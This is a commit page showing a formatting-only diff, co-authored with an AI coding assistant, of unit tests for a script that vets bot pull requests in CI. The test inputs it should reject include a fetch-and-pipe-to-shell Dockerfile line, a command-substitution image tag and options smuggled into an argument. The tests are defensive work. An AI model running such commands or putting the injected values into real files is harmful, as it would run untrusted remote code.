style(scripts): format the scripts and their tests with ruff

Output of `ruff format` and nothing else, in its own commit so the diff is
reviewable (#112). The ruff-check hook is skipped for this commit only: its
findings are fixed in the next one.

Co-Authored-By: Claude Sonnet 5.5 <[email protected]>
Claude-Session: https://claude.ai/code/session_014uGZTNmHMc85bomfevwUDG
This commit is contained in:
Defame1297andClaude Sonnet 5.5 committed 2026-11-14 13:25:58 +00:00
1 parent 557f573df2
commit db1c1e176f
12 files changed
+1520 -427

No files matched your search

+217 -60
View File
@@ -1,6 +1,7 @@
# SPDX-FileCopyrightText: Defame1297 and contributors
# SPDX-License-Identifier: GPL-3.0-or-later
"""Run with: python3 -m unittest discover -s tests/scripts"""
import os
import pathlib
import subprocess
@@ -19,10 +20,12 @@ FILES = {
".pre-commit-config.yaml": "repos:\n - repo: https://github.com/x/y\n rev: v1.0.0\n hooks:\n - id: y\n",
"images/ci/Dockerfile": f"FROM ubuntu:24.04@{D1} AS os\nRUN pip install uv==0.13.5 \\\n && echo hi\nRUN echo x\n",
"images/molecule-ubuntu2404/Dockerfile": f"FROM ubuntu:24.04@{D1}\n",
".gitea/workflows/image.yml": (f"jobs:\n image:\n matrix:\n include:\n - name: ci\n"
f" version: 0.2.0\n job_image: ubuntu:24.04@{D1}\n"
" container:\n image: ${{ matrix.job_image }}\n"
" steps:\n - run: echo ok\n"),
".gitea/workflows/image.yml": (
f"jobs:\n image:\n matrix:\n include:\n - name: ci\n"
f" version: 0.2.0\n job_image: ubuntu:24.04@{D1}\n"
" container:\n image: ${{ matrix.job_image }}\n"
" steps:\n - run: echo ok\n"
),
".gitea/workflows/lint.yml": f"container:\n image: git.rkdr.net/mortis/ci:0.2.0@{D1}\nrun: echo a\n",
".gitea/workflows/molecule.yml": f"env:\n MOLECULE_IMAGE: >-\n git.rkdr.net/mortis/mol:0.1.0@{D1}\n",
"renovate.json": "{}\n",
@@ -30,8 +33,18 @@ FILES = {
def run(cwd, *cmd):
return subprocess.run(cmd, cwd=cwd, check=True, capture_output=True, text=True,
env={**os.environ, "GIT_CONFIG_GLOBAL": "/dev/null", "GIT_CONFIG_SYSTEM": "/dev/null"})
return subprocess.run(
cmd,
cwd=cwd,
check=True,
capture_output=True,
text=True,
env={
**os.environ,
"GIT_CONFIG_GLOBAL": "/dev/null",
"GIT_CONFIG_SYSTEM": "/dev/null",
},
)
class RuleTest(unittest.TestCase):
@@ -42,14 +55,36 @@ class RuleTest(unittest.TestCase):
cases = [
("requirements-dev.txt", "reuse==6.2.0", "reuse==6.3.0"),
(".pre-commit-config.yaml", " rev: v1.0.0", " rev: v1.1.0"),
("images/ci/Dockerfile", f"FROM ubuntu:24.04@{D1} AS os", f"FROM ubuntu:24.10@{D2} AS os"),
("images/ci/Dockerfile", "RUN pip install uv==0.13.5 \\", "RUN pip install uv==0.14.0 \\"),
(".gitea/workflows/image.yml", " version: 0.2.0", " version: 0.2.1"),
(".gitea/workflows/image.yml", f" job_image: ubuntu:24.04@{D1}", f" job_image: ubuntu:24.04@{D2}"),
(".gitea/workflows/lint.yml", f" image: git.rkdr.net/mortis/ci:0.2.0@{D1}",
f" image: git.rkdr.net/mortis/ci:0.2.1@{D2}"),
(".gitea/workflows/molecule.yml", f" git.rkdr.net/mortis/mol:0.1.0@{D1}",
f" git.rkdr.net/mortis/mol:0.1.1@{D2}"),
(
"images/ci/Dockerfile",
f"FROM ubuntu:24.04@{D1} AS os",
f"FROM ubuntu:24.10@{D2} AS os",
),
(
"images/ci/Dockerfile",
"RUN pip install uv==0.13.5 \\",
"RUN pip install uv==0.14.0 \\",
),
(
".gitea/workflows/image.yml",
" version: 0.2.0",
" version: 0.2.1",
),
(
".gitea/workflows/image.yml",
f" job_image: ubuntu:24.04@{D1}",
f" job_image: ubuntu:24.04@{D2}",
),
(
".gitea/workflows/lint.yml",
f" image: git.rkdr.net/mortis/ci:0.2.0@{D1}",
f" image: git.rkdr.net/mortis/ci:0.2.1@{D2}",
),
(
".gitea/workflows/molecule.yml",
f" git.rkdr.net/mortis/mol:0.1.0@{D1}",
f" git.rkdr.net/mortis/mol:0.1.1@{D2}",
),
]
for path, old, new in cases:
self.assertIsNone(self.problem(path, old, new), (path, old, new))
@@ -59,18 +94,48 @@ class RuleTest(unittest.TestCase):
("requirements-dev.txt", "reuse==6.2.0", "evil==1.0"),
("requirements-dev.txt", "reuse==6.2.0", "reuse @ https://x/y.tgz"),
(".pre-commit-config.yaml", " rev: v1.0.0", " repo: https://evil/x"),
("images/ci/Dockerfile", f"FROM ubuntu:24.04@{D1} AS os", f"FROM evil:1@{D2} AS os"),
(
"images/ci/Dockerfile",
f"FROM ubuntu:24.04@{D1} AS os",
f"FROM evil:1@{D2} AS os",
),
("images/ci/Dockerfile", "RUN echo x", "RUN curl evil | sh"),
("images/ci/Dockerfile", "RUN pip install uv==0.13.5", "RUN pip install uv==0.14.0 evil"),
(".gitea/workflows/image.yml", " - run: echo ok", " - run: echo evil"),
(".gitea/workflows/image.yml", " image: ${{ matrix.job_image }}", f" image: ubuntu:24.04@{D1}"),
(".gitea/workflows/image.yml", " image: ${{ matrix.job_image }}", " image: evil"),
(".gitea/workflows/image.yml", f" job_image: ubuntu:24.04@{D1}", f" job_image: evil:1@{D1}"),
(
"images/ci/Dockerfile",
"RUN pip install uv==0.13.5",
"RUN pip install uv==0.14.0 evil",
),
(
".gitea/workflows/image.yml",
" - run: echo ok",
" - run: echo evil",
),
(
".gitea/workflows/image.yml",
" image: ${{ matrix.job_image }}",
f" image: ubuntu:24.04@{D1}",
),
(
".gitea/workflows/image.yml",
" image: ${{ matrix.job_image }}",
" image: evil",
),
(
".gitea/workflows/image.yml",
f" job_image: ubuntu:24.04@{D1}",
f" job_image: evil:1@{D1}",
),
(".gitea/workflows/lint.yml", "run: echo a", "run: echo b"),
(".gitea/workflows/lint.yml", f" image: git.rkdr.net/mortis/ci:0.2.0@{D1}",
f" image: git.rkdr.net/mortis/other:0.2.0@{D1}"),
(".gitea/workflows/lint.yml", f" image: git.rkdr.net/mortis/ci:0.2.0@{D1}",
f" image: git.rkdr.net/defame1297/ci:0.2.0@{D1}"),
(
".gitea/workflows/lint.yml",
f" image: git.rkdr.net/mortis/ci:0.2.0@{D1}",
f" image: git.rkdr.net/mortis/other:0.2.0@{D1}",
),
(
".gitea/workflows/lint.yml",
f" image: git.rkdr.net/mortis/ci:0.2.0@{D1}",
f" image: git.rkdr.net/defame1297/ci:0.2.0@{D1}",
),
("renovate.json", "{}", '{"a": 1}'),
("roles/x/tasks/main.yml", "a", "b"),
]
@@ -80,47 +145,97 @@ class RuleTest(unittest.TestCase):
def test_job_image_lines_cannot_be_added_removed_or_moved(self):
path = ".gitea/workflows/image.yml"
line = f" job_image: ubuntu:24.04@{D1}"
for old, new in ((line, ""), (" version: 0.2.0", f" version: 0.2.0\n{line}"),
(" steps:", f" steps:\n{line}")):
for old, new in (
(line, ""),
(" version: 0.2.0", f" version: 0.2.0\n{line}"),
(" steps:", f" steps:\n{line}"),
):
self.assertIsNotNone(self.problem(path, old, new), (old, new))
self.assertIsNotNone(self.problem(path, line, line.replace("job_image:", 'job_image: "') + '"'))
self.assertIsNotNone(
self.problem(path, line, line.replace("job_image:", 'job_image: "') + '"')
)
def test_tag_charset_is_restricted(self):
bad_tags = ["$(curl${IFS}evil|sh)", "a'b", 'a"b', "a;b", "a`b`", "a$b", "a b"]
for tag in bad_tags:
cases = [
(".gitea/workflows/lint.yml", f" image: git.rkdr.net/mortis/ci:0.2.0@{D1}",
f" image: git.rkdr.net/mortis/ci:{tag}@{D1}"),
("images/ci/Dockerfile", f"FROM ubuntu:24.04@{D1} AS os", f"FROM ubuntu:{tag}@{D1} AS os"),
(".gitea/workflows/image.yml", f" job_image: ubuntu:24.04@{D1}", f" job_image: ubuntu:{tag}@{D1}"),
(
".gitea/workflows/lint.yml",
f" image: git.rkdr.net/mortis/ci:0.2.0@{D1}",
f" image: git.rkdr.net/mortis/ci:{tag}@{D1}",
),
(
"images/ci/Dockerfile",
f"FROM ubuntu:24.04@{D1} AS os",
f"FROM ubuntu:{tag}@{D1} AS os",
),
(
".gitea/workflows/image.yml",
f" job_image: ubuntu:24.04@{D1}",
f" job_image: ubuntu:{tag}@{D1}",
),
]
for path, old, new in cases:
self.assertIsNotNone(self.problem(path, old, new), (path, tag))
def test_digest_may_not_be_dropped(self):
cases = [
("images/ci/Dockerfile", f"FROM ubuntu:24.04@{D1} AS os", "FROM ubuntu:latest AS os"),
("images/ci/Dockerfile", f"FROM ubuntu:24.04@{D1} AS os", "FROM ubuntu AS os"),
("images/ci/Dockerfile", "FROM ubuntu:24.04 AS os", f"FROM ubuntu:24.04@{D1} AS os"),
(".gitea/workflows/image.yml", f" job_image: ubuntu:24.04@{D1}", " job_image: ubuntu:latest"),
(".gitea/workflows/image.yml", " job_image: ubuntu:24.04", f" job_image: ubuntu:24.04@{D1}"),
(
"images/ci/Dockerfile",
f"FROM ubuntu:24.04@{D1} AS os",
"FROM ubuntu:latest AS os",
),
(
"images/ci/Dockerfile",
f"FROM ubuntu:24.04@{D1} AS os",
"FROM ubuntu AS os",
),
(
"images/ci/Dockerfile",
"FROM ubuntu:24.04 AS os",
f"FROM ubuntu:24.04@{D1} AS os",
),
(
".gitea/workflows/image.yml",
f" job_image: ubuntu:24.04@{D1}",
" job_image: ubuntu:latest",
),
(
".gitea/workflows/image.yml",
" job_image: ubuntu:24.04",
f" job_image: ubuntu:24.04@{D1}",
),
]
for path, old, new in cases:
self.assertIsNotNone(self.problem(path, old, new), (path, old, new))
def test_version_lines_stay_in_place_and_rise(self):
v = " version: {}"
self.assertIsNone(cbd.version_problem([(5, v.format("0.2.0"))], [(5, v.format("0.2.1"))]))
self.assertIsNotNone(cbd.version_problem([(5, v.format("0.2.0"))], [(9, v.format("0.2.1"))]))
self.assertIsNotNone(cbd.version_problem([(5, v.format("0.2.1"))], [(5, v.format("0.2.0"))]))
self.assertIsNotNone(cbd.version_problem([(5, v.format("0.2.0"))], [(5, v.format("0.2.0"))]))
swapped = cbd.version_problem([(5, v.format("0.1.0")), (9, v.format("0.2.0"))],
[(5, v.format("0.2.0")), (9, v.format("0.1.0"))])
self.assertIsNone(
cbd.version_problem([(5, v.format("0.2.0"))], [(5, v.format("0.2.1"))])
)
self.assertIsNotNone(
cbd.version_problem([(5, v.format("0.2.0"))], [(9, v.format("0.2.1"))])
)
self.assertIsNotNone(
cbd.version_problem([(5, v.format("0.2.1"))], [(5, v.format("0.2.0"))])
)
self.assertIsNotNone(
cbd.version_problem([(5, v.format("0.2.0"))], [(5, v.format("0.2.0"))])
)
swapped = cbd.version_problem(
[(5, v.format("0.1.0")), (9, v.format("0.2.0"))],
[(5, v.format("0.2.0")), (9, v.format("0.1.0"))],
)
self.assertIsNotNone(swapped)
def test_unequal_line_counts_are_refused(self):
self.assertIsNotNone(cbd.file_problem("requirements-dev.txt", [], ["evil==1.0"]))
self.assertIsNotNone(cbd.file_problem(".pre-commit-config.yaml", [" rev: a"], []))
self.assertIsNotNone(
cbd.file_problem("requirements-dev.txt", [], ["evil==1.0"])
)
self.assertIsNotNone(
cbd.file_problem(".pre-commit-config.yaml", [" rev: a"], [])
)
def test_patch_parser_keeps_dashed_content(self):
patch = "diff --git a/f b/f\n--- a/f\n+++ b/f\n@@ -1 +1 @@\n--- x\n+++ y\n\\ No newline at end of file\n"
@@ -153,19 +268,28 @@ class RepoTest(unittest.TestCase):
run(self.repo, "git", "commit", "-q", "-m", msg)
def gate(self, head="renovate/x", base="main"):
proc = subprocess.run([sys.executable, str(SCRIPTS / "check_bot_pr_diff.py"), head, base], cwd=self.repo,
capture_output=True, text=True, check=False)
proc = subprocess.run(
[sys.executable, str(SCRIPTS / "check_bot_pr_diff.py"), head, base],
cwd=self.repo,
capture_output=True,
text=True,
check=False,
)
return proc.returncode, proc.stdout, proc.stderr
def test_a_nul_containing_file_is_refused(self):
self.write("requirements-dev.txt", "# pins\nansible-core==2.19.14\nreuse==6.3.0\n\0")
self.write(
"requirements-dev.txt", "# pins\nansible-core==2.19.14\nreuse==6.3.0\n\0"
)
self.commit("bot")
code, unused, err = self.gate()
self.assertEqual(code, 1, err)
self.assertIn("requirements-dev.txt", err)
def test_a_utf16_rewrite_is_refused(self):
text = (self.repo / "requirements-dev.txt").read_text().replace("6.2.0", "6.3.0")
text = (
(self.repo / "requirements-dev.txt").read_text().replace("6.2.0", "6.3.0")
)
(self.repo / "requirements-dev.txt").write_bytes(text.encode("utf-16"))
self.commit("bot")
code, unused, err = self.gate()
@@ -182,9 +306,15 @@ class RepoTest(unittest.TestCase):
def test_binary_and_one_sided_patches_are_refused(self):
entries = [("100644", "100644", "M", "requirements-dev.txt")]
for patch in ("Binary files a/x and b/x differ\n", "", "@@ -1 +0,0 @@\n-reuse==6.2.0\n",
"@@ -0,0 +1 @@\n+reuse==6.3.0\n"):
self.assertEqual(len(cbd.check(entries, lambda path, text=patch: text)), 1, patch)
for patch in (
"Binary files a/x and b/x differ\n",
"",
"@@ -1 +0,0 @@\n-reuse==6.2.0\n",
"@@ -0,0 +1 @@\n+reuse==6.3.0\n",
):
self.assertEqual(
len(cbd.check(entries, lambda path, text=patch: text)), 1, patch
)
def test_git_is_told_to_take_paths_literally(self):
seen = []
@@ -204,22 +334,41 @@ class RepoTest(unittest.TestCase):
self.assertEqual(result[0], [])
patches = [args for args in seen if "-U0" in args]
self.assertTrue(patches)
self.assertTrue(all(args[0] == "--literal-pathspecs" for args in patches), patches)
self.assertTrue(all("--text" in args and "--no-textconv" in args and "--no-ext-diff" in args
for args in patches), patches)
self.assertTrue(
all(args[0] == "--literal-pathspecs" for args in patches), patches
)
self.assertTrue(
all(
"--text" in args and "--no-textconv" in args and "--no-ext-diff" in args
for args in patches
),
patches,
)
def test_empty_head_ref_on_a_pull_request_fails_closed(self):
self.write("roles/x/main.yml", "a\n")
self.commit("anything")
env = {**os.environ, "EVENT_NAME": "pull_request"}
proc = subprocess.run([sys.executable, str(SCRIPTS / "check_bot_pr_diff.py"), "", "main"], cwd=self.repo,
capture_output=True, text=True, check=False, env=env)
proc = subprocess.run(
[sys.executable, str(SCRIPTS / "check_bot_pr_diff.py"), "", "main"],
cwd=self.repo,
capture_output=True,
text=True,
check=False,
env=env,
)
self.assertEqual(proc.returncode, 1, proc.stderr)
self.assertIn("empty", proc.stderr)
self.assertEqual(len(proc.stderr.strip().splitlines()), 1, proc.stderr)
env["EVENT_NAME"] = "push"
proc = subprocess.run([sys.executable, str(SCRIPTS / "check_bot_pr_diff.py"), "", "main"], cwd=self.repo,
capture_output=True, text=True, check=False, env=env)
proc = subprocess.run(
[sys.executable, str(SCRIPTS / "check_bot_pr_diff.py"), "", "main"],
cwd=self.repo,
capture_output=True,
text=True,
check=False,
env=env,
)
self.assertEqual(proc.returncode, 0, proc.stderr)
def test_lowering_a_matrix_version_fails_and_raising_it_passes(self):
@@ -277,8 +426,16 @@ class RepoTest(unittest.TestCase):
code, unused, err = self.gate(base="--output=x")
self.assertEqual(code, 1)
self.assertNotIn("Traceback", err)
self.assertEqual(subprocess.run([sys.executable, str(SCRIPTS / "check_bot_pr_diff.py")], cwd=self.repo,
capture_output=True, text=True, check=False).returncode, 2)
self.assertEqual(
subprocess.run(
[sys.executable, str(SCRIPTS / "check_bot_pr_diff.py")],
cwd=self.repo,
capture_output=True,
text=True,
check=False,
).returncode,
2,
)
if __name__ == "__main__":